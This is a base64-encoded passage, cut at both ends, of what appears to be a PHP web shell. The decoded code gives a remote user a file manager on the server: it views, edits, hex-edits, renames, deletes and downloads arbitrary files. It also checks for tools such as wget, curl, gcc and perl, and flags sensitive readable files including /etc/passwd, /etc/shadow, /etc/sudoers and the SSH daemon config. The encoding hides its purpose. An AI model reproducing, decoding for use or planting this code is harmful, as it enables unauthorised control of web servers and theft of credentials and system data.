HZhbHVlPSciLmhzcygkc19mKS4iJyAvPg0KCQkJCTxpbnB1dCBjbGFzcz0naW5wdXR6JyBzdHlsZT0nd2lkdGg6MjAwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSdyZW5hbWUnIHZhbHVlPSciLmhzcygkc19mKS4iJyAvPg0KCQkJCTxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdyZW5hbWUnIC8+DQoJCQk8L2Zvcm0+DQoJCQk8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nYnV0dG9uJyB2YWx1ZT0neCcgb25jbGljaz1cInR1a2FyXygnIi5jcygkc19maWxuKS4iX2Zvcm0nLCciLmNzKCRzX2ZpbG4pLiJfbGluaycpO1wiIC8+DQoJCQk8L2Rpdj4NCgkJCTwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIuZ3MoJHNfZikuIiAoIi5AZmlsZXNpemUoJHNfZikuIik8L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlBlcm1pc3Npb248L3RkPjx0ZD4iLmdwKCRzX2YpLiI8L3RkPjwvdHI+DQoJCQkiLiRzX293bmVyLiINCgkJCTx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWN0aW1lKCRzX2YpKS4iPC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVtdGltZSgkc19mKSkuIjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TGFzdCBhY2Nlc3NlZDwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlYXRpbWUoJHNfZikpLiI8L3RkPjwvdHI+DQoJCQk8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD4NCgkJCTxhIGhyZWY9JyIuJHNfc2VsZi4iZWRpdD0iLnBsKCRzX2YpLiInIHRpdGxlPSdlZGl0Jz5lZGl0PC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iaGV4ZWRpdD0iLnBsKCRzX2YpLiInIHRpdGxlPSdlZGl0IGFzIGhleCc+aGV4PC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyXygnIi5jcygkc19maWxuKS4iX2xpbmsnLCciLmNzKCRzX2ZpbG4pLiJfZm9ybScpO1wiIHRpdGxlPSdyZW5hbWUnPnJlbjwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuImRlbD0iLnBsKCRzX2YpLiInIHRpdGxlPSdkZWxldGUnPmRlbDwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuImRsPSIucGwoJHNfZikuIic+ZGw8L2E+DQoJCQk8L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlZpZXc8L3RkPjx0ZD4NCgkJCTxhIGhyZWY9JyIuJHNfc2VsZi4idmlldz0iLnBsKCRzX2YpLiImdHlwZT10ZXh0Ii4iJz50ZXh0PC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4idmlldz0iLnBsKCRzX2YpLiImdHlwZT1jb2RlIi4iJz5jb2RlPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4idmlldz0iLnBsKCRzX2YpLiImdHlwZT1pbWFnZSIuIic+aW1hZ2U8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJ2aWV3PSIucGwoJHNfZikuIiZ0eXBlPWF1ZGlvIi4iJz5hdWRpbzwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuInZpZXc9Ii5wbCgkc19mKS4iJnR5cGU9dmlkZW8iLiInPnZpZGVvPC9hPg0KCQkJPC90ZD48L3RyPg0KCQkJPC90YWJsZT4iOw0KDQoJCQkkc190ID0gIiI7ICRzX21pbWUgPSAiIjsNCgkJCSRzX21pbWVfbGlzdCA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRzX21pbWVfdHlwZXMpKTsNCgkJCSRzX2V4dF9wb3MgPSBzdHJycG9zKCRzX2YsICIuIik7DQoJCQlpZigkc19leHRfcG9zIT09ZmFsc2Upew0KCQkJCSRzX2V4dCA9IHRyaW0oc3Vic3RyKCRzX2YsICRzX2V4dF9wb3MpLCIuIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiLyhbXlxzXSspXCAuKlxiIi4kc19leHQuIlxiLiovaSIsJHNfbWltZV9saXN0LCRzX3IpKXsNCgkJCQkJJHNfbWltZSA9ICRzX3JbMV07DQoJCQkJfQ0KCQkJfQ0KDQoJCQkkc19paW5mbyA9IEBnZXRpbWFnZXNpemUoJHNfZik7DQoJCQlpZihzdHJ0b2xvd2VyKHN1YnN0cigkc19maWxuLC0zLDMpKSA9PSAicGhwIikgJHNfdCA9ICJjb2RlIjsNCgkJCWVsc2VpZihpc19hcnJheSgkc19paW5mbykpICRzX3QgPSAnaW1hZ2UnOw0KCQkJZWxzZWlmKCFlbXB0eSgkc19taW1lKSkgJHNfdCA9IHN1YnN0cigkc19taW1lLDAsc3RycG9zKCRzX21pbWUsIi8iKSk7DQoNCgkJCWlmKGlzc2V0KCRfR1BbJ3R5cGUnXSkpICRzX3QgPSAkX0dQWyd0eXBlJ107DQoNCgkJCWlmKCRzX3Q9PSJpbWFnZSIpew0KCQkJCSRzX3dpZHRoID0gKGludCkgJHNfaWluZm9bMF07DQoJCQkJJHNfaGVpZ2h0ID0gKGludCkgJHNfaWluZm9bMV07DQoJCQkJJHNfaW1naW5mbyA9ICJJbWFnZSB0eXBlID0gKCAiLiRzX2lpbmZvWydtaW1lJ10uIiApPGJyIC8+DQoJCQkJCUltYWdlIFNpemUgPSA8c3BhbiBjbGFzcz0nZ2F1bCc+KCA8L3NwYW4+Ii4kc193aWR0aC4iIHggIi4kc19oZWlnaHQuIjxzcGFuIGNsYXNzPSdnYXVsJz4gKTwvc3Bhbj48YnIgLz4iOw0KCQkJCWlmKCRzX3dpZHRoID4gODAwKXsNCgkJCQkJJHNfd2lkdGggPSA4MDA7DQoJCQkJCSRzX2ltZ2xpbmsgPSAiPHA+PGEgaHJlZj0nIi4kc19zZWxmLiJpbWc9Ii5wbCgkc19maWxuKS4iJz4NCgkJCQkJPHNwYW4gY2xhc3M9J2dhdWwnPlsgPC9zcGFuPnZpZXcgZnVsbCBzaXplPHNwYW4gY2xhc3M9J2dhdWwnPiBdPC9zcGFuPjwvYT48L3A+IjsNCgkJCQl9DQoJCQkJZWxzZSAkc19pbWdsaW5rID0gIiI7DQoNCgkJCQkkc19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlY29udGVudCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4kc19pbWdsaW5rLiINCgkJCQkJPGltZyB3aWR0aD0nIi4kc193aWR0aC4iJyBzcmM9JyIuJHNfc2VsZi4iaW1nPSIucGwoJHNfZmlsbikuIicgYWx0PSciLiRzX2ZpbG4uIicgc3R5bGU9J21hcmdpbjo4cHggYXV0bztwYWRkaW5nOjA7Ym9yZGVyOjA7JyAvPjwvZGl2PiI7DQoNCgkJCX0NCgkJCWVsc2VpZigkc190PT0iY29kZSIpew0KCQkJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cInZpZXdmaWxlY29udGVudFwiPiI7DQoJCQkJJHNfZmlsZSA9IHdvcmR3cmFwKEBmZ2MoJHNfZiksMTYwLCJcbiIsdHJ1ZSk7DQoJCQkJJHNfYnVmZiA9IGhpZ2hsaWdodF9zdHJpbmcoJHNfZmlsZSx0cnVlKTsNCgkJCQkkc19vbGQgPSBhcnJheSgiMDAwMEJCIiwgIjAwMDAwMCIsICJGRjgwMDAiLCAiREQwMDAwIiwgIjAwNzcwMCIpOw0KCQkJCSRzX25ldyA9ICgkc190aGVtZT09ImJyaWdodCIpPyAkc19oaWdobGlnaHRfYnJpZ2h0OiRzX2hpZ2hsaWdodF9kYXJrOw0KCQkJCSRzX2J1ZmYgPSBzdHJfcmVwbGFjZSgkc19vbGQsJHNfbmV3LCAkc19idWZmKTsNCgkJCQkkc19yZXN1bHQgLj0gJHNfYnVmZjsNCgkJCQkkc19yZXN1bHQgLj0gICI8L2Rpdj4iOw0KCQkJfQ0KCQkJZWxzZWlmKCRzX3Q9PSJhdWRpbyIgfHwgJHNfdD09InZpZGVvIil7DQoJCQkJJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPSd2aWV3ZmlsZWNvbnRlbnQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPg0KCQkJCQkJCTwiLiRzX3QuIiBjb250cm9scz4NCgkJCQkJCQk8c291cmNlIHNyYz0nIi5oc3MoJHNfc2VsZi4iZGx0eXBlPXJhdyZkbHBhdGg9Ii4kc19mKS4iJyB0eXBlPSciLiRzX21pbWUuIic+DQoJCQkJCQkJCTxvYmplY3QgZGF0YT0nIi5oc3MoJHNfc2VsZi4iZGx0eXBlPXJhdyZkbHBhdGg9Ii4kc19mKS4iJz4NCgkJCQkJCQkJCTxlbWJlZCBzcmM9JyIuaHNzKCRzX3NlbGYuImRsdHlwZT1yYXcmZGxwYXRoPSIuJHNfZikuIic+DQoJCQkJCQkJCTwvb2JqZWN0Pg0KCQkJCQkJCTwvIi4kc190LiI+DQoJCQkJCQkJPC9kaXY+IjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCSRzX3Jlc3VsdCAuPSAiPHByZSBzdHlsZT0ncGFkZGluZzogM3B4IDhweCAwIDhweDsnIGNsYXNzPSd2aWV3ZmlsZWNvbnRlbnQnPiI7DQoJCQkJJHNfcmVzdWx0IC49ICBzdHJfcmVwbGFjZSgiPCIsICImbHQ7IixzdHJfcmVwbGFjZSgiPiIsICImZ3Q7Iiwod29yZHdyYXAoQGZnYygkc19mKSwxNjAsIlxuIix0cnVlKSkpKTsNCgkJCQkkc19yZXN1bHQgLj0gICAiPC9wcmU+IjsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoQGlzX2Rpcigkc19mKSl7DQoJCQljaGRpcigkc19mKTsNCgkJCSRzX2N3ZCA9IGNwKGdldGN3ZCgpKTsNCgkJCXNldGNvb2tpZSgiY3dkIiwgJHNfY3dkICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgkJCSRzX3Jlc3VsdCAuPSBzaG93ZGlyKCRzX2N3ZCk7DQoJCX0NCgkJZWxzZSAkc19yZXN1bHQgLj0gbm90aWYoIkNhbm5vdCBmaW5kIHRoZSBwYXRoIHNwZWNpZmllZCAiLiRzX2YpOw0KDQoJfSAvLyBlZGl0IGZpbGUNCgllbHNlaWYoaXNzZXQoJF9HUFsnZWRpdCddKSl7DQoJCSRzX2YgPSAkX0dQWydlZGl0J107DQoJCSRzX2ZjID0gIiI7ICRzX2ZjcyA9ICIiOw0KDQoJCWlmKGlzc2V0KCRfR1BbJ25ldyddKSAmJiAoJF9HUFsnbmV3J109PSd5ZXMnKSl7DQoJCQkkc19udW0gPSAxOw0KCQkJaWYoQGlzX2ZpbGUoJHNfZikpew0KCQkJCSRzX3BvcyA9IHN0cnJwb3MoJHNfZiwiXyIpOw0KCQkJCWlmKCRzX3BvcyE9PWZhbHNlKSAkc19udW0gPSAoaW50KSBzdWJzdHIoJHNfZiwkc19wb3MrMSk7DQoJCQkJd2hpbGUoQGlzX2ZpbGUoc3Vic3RyKCRzX2YsMCwkc19wb3MpLiJfIi4kc19udW0pKXsNCgkJCQkJJHNfbnVtKys7DQoJCQkJfQ0KCQkJCSRzX2YgPSBzdWJzdHIoJHNfZiwwLCRzX3BvcykuIl8iLiRzX251bTsNCgkJCX0NCgkJfQ0KCQllbHNlIGlmKEBpc19maWxlKCRzX2YpKSAkc19mYyA9IEBmZ2MoJHNfZik7DQoNCgkJaWYoaXNzZXQoJF9HUFsnZmMnXSkpew0KCQkJJHNfZmMgPSAkX0dQWydmYyddOw0KCQkJJHNfZW9sID0gJF9HUFsnZW9sJ107DQoJCQkkc19lb2xmID0gcGFjaygiSCoiLCBnZW9sKCRzX2ZjKSk7DQoJCQkkc19lb2xoID0gcGFjaygiSCoiLCAkc19lb2wpOw0KCQkJJHNfZmMgPSBzdHJfcmVwbGFjZSgkc19lb2xmLCAkc19lb2xoLCAkc19mYyk7DQoNCgkJCWlmKCRzX2ZpbGV6ID0gZm9wZW4oJHNfZiwidyIpKXsNCgkJCQkkc190aW1lID0gQGRhdGUoImQtTS1ZIEg6aTpzIix0aW1lKCkpOw0KCQkJCWlmKGZ3cml0ZSgkc19maWxleiwkc19mYykhPT1mYWxzZSkgJHNfZmNzID0gIkZpbGUgc2F2ZWQgQCAiLiRzX3RpbWU7DQoJCQkJZWxzZSAkc19mY3MgPSAiRmFpbGVkIHRvIHNhdmUiOw0KCQkJCWZjbG9zZSgkc19maWxleik7DQoJCQl9DQoJCQllbHNlICRzX2ZjcyA9ICJQZXJtaXNzaW9uIGRlbmllZCI7DQoJCX0NCgkJZWxzZWlmKEBpc19maWxlKCRzX2YpICYmICFAaXNfd3JpdGFibGUoJHNfZikpICRzX2ZjcyA9ICJUaGlzIGZpbGUgaXMgbm90IHdyaXRhYmxlIjsNCg0KCQkkc19lb2wgPSBnZW9sKCRzX2ZjKTsNCg0KCQlpZighZW1wdHkoJHNfZmNzKSkgJHNfcmVzdWx0IC49IG5vdGlmKCRzX2Zjcyk7DQoJCSRzX3Jlc3VsdCAuPSAiPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8dGV4dGFyZWEgaWQ9J2ZjJyBuYW1lPSdmYycgY2xhc3M9J3R4dGFyZWEnPiIuaHNzKCRzX2ZjKS4iPC90ZXh0YXJlYT4NCgkJCQk8cCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjk5JTsnIG5hbWU9J2VkaXQnIHZhbHVlPSciLmhzcygkc19mKS4iJyAvPjwvcD4NCgkJCQk8cD48aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nU2F2ZSAhJyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7JyAvPjwvcD4NCgkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdlb2wnIHZhbHVlPSciLiRzX2VvbC4iJyAvPg0KCQkJCTwvZm9ybT4iOw0KDQoJfSAvLyBoZXggZWRpdCBmaWxlDQoJZWxzZWlmKGlzc2V0KCRfR1BbJ2hleGVkaXQnXSkpew0KCQkkc19mID0gJF9HUFsnaGV4ZWRpdCddOw0KCQkkc19mYyA9ICIiOwkkc19mY3MgPSAiIjsgJHNfaGV4ZXMgPSAiIjsNCgkJJHNfbG51bSA9IDA7DQoNCgkJaWYoIWVtcHR5KCRfR1BbJ2h4J10pIHx8ICFlbXB0eSgkX0dQWydoeHQnXSkpew0KCQkJaWYoIWVtcHR5KCRfR1BbJ2h4J10pKXsNCgkJCQlmb3JlYWNoKCRfR1BbJ2h4J10gYXMgJHNfaGV4KSAkc19oZXhlcyAuPSBzdHJfcmVwbGFjZSgiICIsICIiLCAkc19oZXgpOw0KCQkJfQ0KCQkJZWxzZWlmKCFlbXB0eSgkX0dQWydoeHQnXSkpew0KCQkJCSRzX2hleGVzID0gdHJpbSgkX0dQWydoeHQnXSk7DQoJCQl9DQoJCQlpZigkc19maWxleiA9IGZvcGVuKCRzX2YsInciKSl7DQoJCQkJCSRzX2JpbnMgPSBwYWNrKCJIKiIsICRzX2hleGVzKTsNCgkJCQkJJHNfdGltZSA9IEBkYXRlKCJkLU0tWSBIOmk6cyIsIHRpbWUoKSk7DQoJCQkJCWlmKGZ3cml0ZSgkc19maWxleiwkc19iaW5zKSE9PWZhbHNlKSAkc19mY3MgPSAiRmlsZSBzYXZlZCBAICIuJHNfdGltZTsNCgkJCQkJZWxzZSAkc19mY3MgPSAiRmFpbGVkIHRvIHNhdmUiOw0KCQkJCQlmY2xvc2UoJHNfZmlsZXopOw0KCQkJCX0NCgkJCWVsc2UgJHNfZmNzID0gIlBlcm1pc3Npb24gZGVuaWVkIjsNCgkJfQ0KCQllbHNlIGlmKEBpc19maWxlKCRzX2YpICYmICFAaXNfd3JpdGFibGUoJHNfZikpICRzX2ZjcyA9ICJUaGlzIGZpbGUgaXMgbm90IHdyaXRhYmxlIjsNCg0KCQlpZighZW1wdHkoJHNfZmNzKSkgJHNfcmVzdWx0IC49IG5vdGlmKCRzX2Zjcyk7DQoNCgkJJHNfcmVzdWx0IC49ICI8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxwIGNsYXNzPSdjZSBtcCc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdpbnB1dHonIHN0eWxlPSd3aWR0aDoxMDAlOycgbmFtZT0naGV4ZWRpdCcgdmFsdWU9JyIuaHNzKCRzX2YpLiInIC8+PC9wPjxwIGNsYXNzPSdiYicgc3R5bGU9J3BhZGRpbmc6MCAwIDE0cHggMDsnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdTYXZlICEnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDsnIG9uY2xpY2s9XCJyZXR1cm4gc2goKTtcIiAvPjwvcD48dGFibGUgY2xhc3M9J2V4cGxvcmUnPiI7DQoNCgkJaWYoQGlzX2ZpbGUoJHNfZikpew0KCQkJJHNfZnAgPSBmb3Blbigkc19mLCAiciIpOw0KCQkJaWYoJHNfZnApIHsNCgkJCQkkc19sZHVtcCA9ICIiOw0KCQkJCSRzX2NvdW50ZXIgPSAwOw0KCQkJCSRzX2ljb3VudGVyID0gMDsNCgkJCQl3aGlsZSghZmVvZigkc19mcCkpew0KCQkJCQkkc19saW5lID0gZnJlYWQoJHNfZnAsIDMyKTsNCgkJCQkJJHNfbGluZWhleCA9IHN0cnRvdXBwZXIoYmluMmhleCgkc19saW5lKSk7DQoJCQkJCSRzX2xpbmV4ID0gc3RyX3NwbGl0KCRzX2xpbmVoZXgsIDIpOw0KCQkJCQkkc19saW5laGV4ID0gaW1wbG9kZSgiICIsICRzX2xpbmV4KTsNCgkJCQkJJHNfYWRkciA9IHNwcmludGYoIiUwOHhoIiwgJHNfaWNvdW50ZXIpOw0KDQoJCQkJCSRzX3Jlc3VsdCAuPSAiPHRyPjx0ZCBjbGFzcz0nY2UgdzYwJz4iLiRzX2FkZHIuIjwvdGQ+PHRkIGNsYXNzPSdsZSB3NTk0Jz48aW5wdXQgb25zZWxlY3Q9J3RoaXMuc2VsZWN0aW9uRW5kPXRoaXMuc2VsZWN0aW9uU3RhcnQ7JyBvbmNsaWNrPVwiaHUoJyIuJHNfY291bnRlci4iJyxldmVudCk7XCIgb25rZXlkb3duPVwicmV0dXJuIGhmKCciLiRzX2NvdW50ZXIuIicsZXZlbnQpO1wiIG9ua2V5dXA9XCJodSgnIi4kc19jb3VudGVyLiInLGV2ZW50KTtcIiB0eXBlPSd0ZXh0JyBjbGFzcz0naW5wdXR6IHc1NzgnIGlkPSdoZXhfIi4kc19jb3VudGVyLiInIG5hbWU9J2h4W10nIHZhbHVlPSciLiRzX2xpbmVoZXguIicgIG1heGxlbmd0aD0nIi5zdHJsZW4oJHNfbGluZWhleCkuIicgLz48L3RkPjx0ZCBjbGFzcz0nbGUgbHMyJz48cHJlIG5hbWU9J2hleGR1bXAnIGlkPSdkdW1wXyIuJHNfY291bnRlci4iJyBjbGFzcz0nbXAnPjwvcHJlPjwvdGQ+PC90cj4iOw0KCQkJCQkkc19jb3VudGVyKys7DQoJCQkJCSRzX2ljb3VudGVyKz0zMjsNCgkJCQl9DQoJCQkJJHNfcmVzdWx0IC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nY291bnRlcicgdmFsdWU9JyIuJHNfY291bnRlci4iJyAvPiI7DQoJCQkJJHNfcmVzdWx0IC49ICI8dGV4dGFyZWEgbmFtZT0naHh0JyBpZD0naHh0JyBjbGFzcz0nc2VtYnVueWknPjwvdGV4dGFyZWE+IjsNCgkJCQlmY2xvc2UoJHNfZnApOw0KCQkJfQ0KCQl9DQoJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT48L2Zvcm0+IjsNCg0KCX0gLy8gc2hvdyBzZXJ2ZXIgaW5mb3JtYXRpb24NCgllbHNlaWYoaXNzZXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0naW5mbycpKXsNCgkJJHNfcmVzdWx0ID0gIiI7DQoJCS8vIHNlcnZlciBtaXNjIGluZm8NCgkJJHNfcmVzdWx0IC49ICI8cCBjbGFzcz0nbm90aWYnIG9uY2xpY2s9XCJ0b2dnbGUoJ2luZm9fc2VydmVyJylcIj5TZXJ2ZXIgSW5mbzwvcD4iOw0KCQkkc19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX3NlcnZlcic+PHRhYmxlPiI7DQoNCgkJaWYoJHNfd2luKXsNCgkJCWZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkc19sZXR0ZXIpew0KCQkJCWlmKChAaXNfZGlyKCRzX2xldHRlci4iOlxcIikgJiYgQGlzX3JlYWRhYmxlKCRzX2xldHRlci4iOlxcIikpKXsNCgkJCQkJJHNfZHJpdmUgPSAkc19sZXR0ZXIuIjoiOw0KCQkJCQkkc19yZXN1bHQgLj0gIjx0cj48dGQ+ZHJpdmUgIi4kc19kcml2ZS4iPC90ZD48dGQ+Ii50cyhkaXNrX2ZyZWVfc3BhY2UoJHNfZHJpdmUpKS4iIGZyZWUgb2YgIi50cyhkaXNrX3RvdGFsX3NwYWNlKCRzX2RyaXZlKSkuIjwvdGQ+PC90cj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQllbHNlICRzX3Jlc3VsdCAuPSAiPHRyPjx0ZD5yb290IHBhcnRpdGlvbjwvdGQ+PHRkPiIudHMoQGRpc2tfZnJlZV9zcGFjZSgiLyIpKS4iIGZyZWUgb2YgIi50cyhAZGlza190b3RhbF9zcGFjZSgiLyIpKS4iPC90ZD48L3RyPiI7DQoNCgkJJHNfcmVzdWx0IC49ICI8dHI+PHRkPnBocDwvdGQ+PHRkPiIucGhwdmVyc2lvbigpLiI8L3RkPjwvdHI+IjsNCgkJJHNfYWNjZXNzID0gYXJyYXkoInNfcHl0aG9uIiwgInNfcGVybCIsICJzX3J1YnkiLCAic19ub2RlIiwgInNfbm9kZWpzIiwgInNfZ2NjIiwgInNfamF2YSIsICJzX2phdmFjIiwgInNfdGFyIiwgInNfd2dldCIsICJzX2x3cGRvd25sb2FkIiwgInNfbHlueCIsICJzX2N1cmwiKTsNCgkJZm9yZWFjaCgkc19hY2Nlc3MgYXMgJHMpew0KCQkJJHNfdCA9IGV4cGxvZGUoIl8iLCAkcyk7DQoJCQlpZihpc3NldCgkJHMpKSAkc19yZXN1bHQgLj0gIjx0cj48dGQ+Ii4kc190WzFdLiI8L3RkPjx0ZD4iLiQkcy4iPC90ZD48L3RyPiI7DQoJCX0NCg0KCQlpZighJHNfd2luKXsNCgkJCSRzX2ludGVyZXN0aW5nID0gYXJyYXkoDQoJCQkiL2V0Yy9vcy1yZWxlYXNlIiwgIi9ldGMvcGFzc3dkIiwgIi9ldGMvc2hhZG93IiwgIi9ldGMvZ3JvdXAiLCAiL2V0Yy9pc3N1ZSIsICIvZXRjL2lzc3VlLm5ldCIsICIvZXRjL21vdGQiLCAiL2V0Yy9zdWRvZXJzIiwgIi9ldGMvaG9zdHMiLCAiL2V0Yy9hbGlhc2VzIiwNCgkJCSIvcHJvYy92ZXJzaW9uIiwgIi9ldGMvcmVzb2x2LmNvbmYiLCAiL2V0Yy9zeXNjdGwuY29uZiIsDQoJCQkiL2V0Yy9uYW1lZC5jb25mIiwgIi9ldGMvbmV0d29yay9pbnRlcmZhY2VzIiwgIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIsICIvdXNyL2xvY2FsL3NxdWlkL2V0Yy9zcXVpZC5jb25mIiwNCgkJCSIvZXRjL3NzaC9zc2hkX2NvbmZpZyIsDQoJCQkiL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIsICIgL2V0Yy9hcGFjaGUyL2FwYWNoZTIuY29uZiIsICIvZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIsICIvdXNyL3BrZy9ldGMvaHR0cGQvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyMi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIsICIvdmFyL3d3dy9jb25mL2h0dHBkLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkMi5jb25mIiwgIi9ldGMvaHR0cGQvaHR0cGQuY29uZiIsDQoJCQkiL2V0Yy9saWdodHRwZC9saWdodHRwZC5jb25mIiwgIi9ldGMvbmdpbngvbmdpbnguY29uZiIsDQoJCQkiL2V0Yy9mc3RhYiIsICIvZXRjL210YWIiLCAiL2V0Yy9jcm9udGFiIiwgIi9ldGMvaW5pdHRhYiIsICIvZXRjL21vZHVsZXMuY29uZiIsICIvZXRjL21vZHVsZXMiKTsNCgkJCWZvcmVhY2goJHNfaW50ZXJlc3RpbmcgYXMgJHNfZil7DQoJCQkJaWYoQGlzX2ZpbGUoJHNfZikgJiYgQGlzX3JlYWRhYmxlKCRzX2YpKSAkc19yZXN1bHQgLj0gIjx0cj48dGQ+Ii4kc19mLiI8L3RkPjx0ZD48YSBocmVmPSciLiRzX3NlbGYuInZpZXc9Ii5wbCgkc19mKS4iJz4iLiRzX2YuIiBpcyByZWFkYWJsZTwvYT48L3RkPjwvdHI+IjsNCgkJCX0NCgkJfQ0KCQkkc19yZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCg0KCQlpZighJHNfd2luKXsNCgkJCS8vIGNwdSBpbmZvDQoJCQlpZigkc19pX2J1ZmY9dHJpbShAZmdjKCIvcHJvYy9jcHVpbmZvIikpKXsNCgkJCQkkc19yZXN1bHQgLj0gIjxwIGNsYXNzPSdub3RpZicgb25jbGljaz1cInRvZ2dsZSgnaW5mb19jcHUnKVwiPkNQVSBJbmZvPC9wPiI7DQoJCQkJJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPSdpbmZvJyBpZD0naW5mb19jcHUnPiI7DQoJCQkJJHNfaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkc19pX2J1ZmYpOw0KCQkJCWZvcmVhY2goJHNfaV9idWZmcyBhcyAkc19pX2J1ZmZzcyl7DQoJCQkJCSRzX2lfYnVmZnNzID0gdHJpbSgkc19pX2J1ZmZzcyk7DQoJCQkJCWlmKCRzX2lfYnVmZnNzIT0iIil7DQoJCQkJCQkkc19pX2J1ZmZzc3MgPSBleHBsb2RlKCJcbiIsICRzX2lfYnVmZnNzKTsNCgkJCQkJCSRzX3Jlc3VsdCAuPSAiPHRhYmxlPiI7DQoJCQkJCQlmb3JlYWNoKCRzX2lfYnVmZnNzcyBhcyAkc19pKXsNCgkJCQkJCQkkc19pID0gdHJpbSgkc19pKTsNCgkJCQkJCQlpZigkc19pIT0iIil7DQoJCQkJCQkJCSRzX2lpID0gZXhwbG9kZSgiOiIsJHNfaSk7DQoJCQkJCQkJCWlmKGNvdW50KCRzX2lpKT09MikgJHNfcmVzdWx0IC49ICI8dHI+PHRkPiIuJHNfaWlbMF0uIjwvdGQ+PHRkPiIuJHNfaWlbMV0uIjwvdGQ+PC90cj4iOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT4iOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCSRzX3Jlc3VsdCAuPSAiPC9kaXY+IjsNCgkJCX0NCg0KCQkJLy8gbWVtIGluZm8NCgkJCWlmKCRzX2lfYnVmZj10cmltKEBmZ2MoIi9wcm9jL21lbWluZm8iKSkpew0KCQkJCSRzX3Jlc3VsdCAuPSAiPHAgY2xhc3M9J25vdGlmJyBvbmNsaWNrPVwidG9nZ2xlKCdpbmZvX21lbScpXCI+TWVtb3J5IEluZm88L3A+IjsNCgkJCQkkc19pX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkc19pX2J1ZmYpOw0KCQkJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fbWVtJz48dGFibGU+IjsNCgkJCQlmb3JlYWNoKCRzX2lfYnVmZnMgYXMgJHNfaSl7DQoJCQkJCSRzX2kgPSB0cmltKCRzX2kpOw0KCQkJCQlpZigkc19pIT0iIil7DQoJCQkJCQkkc19paSA9IGV4cGxvZGUoIjoiLCRzX2kpOw0KCQkJCQkJaWYoY291bnQoJHNfaWkpPT0yKSAkc19yZXN1bHQgLj0gIjx0cj48dGQ+Ii4kc19paVswXS4iPC90ZD48dGQ+Ii4kc19paVsxXS4iPC90ZD48L3RyPiI7DQoJCQkJCX0NCgkJCQkJZWxzZSAkc19yZXN1bHQgLj0gIjwvdGFibGU+PHRhYmxlPiI7DQoJCQkJfQ0KCQkJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCQkJfQ0KDQoJCQkv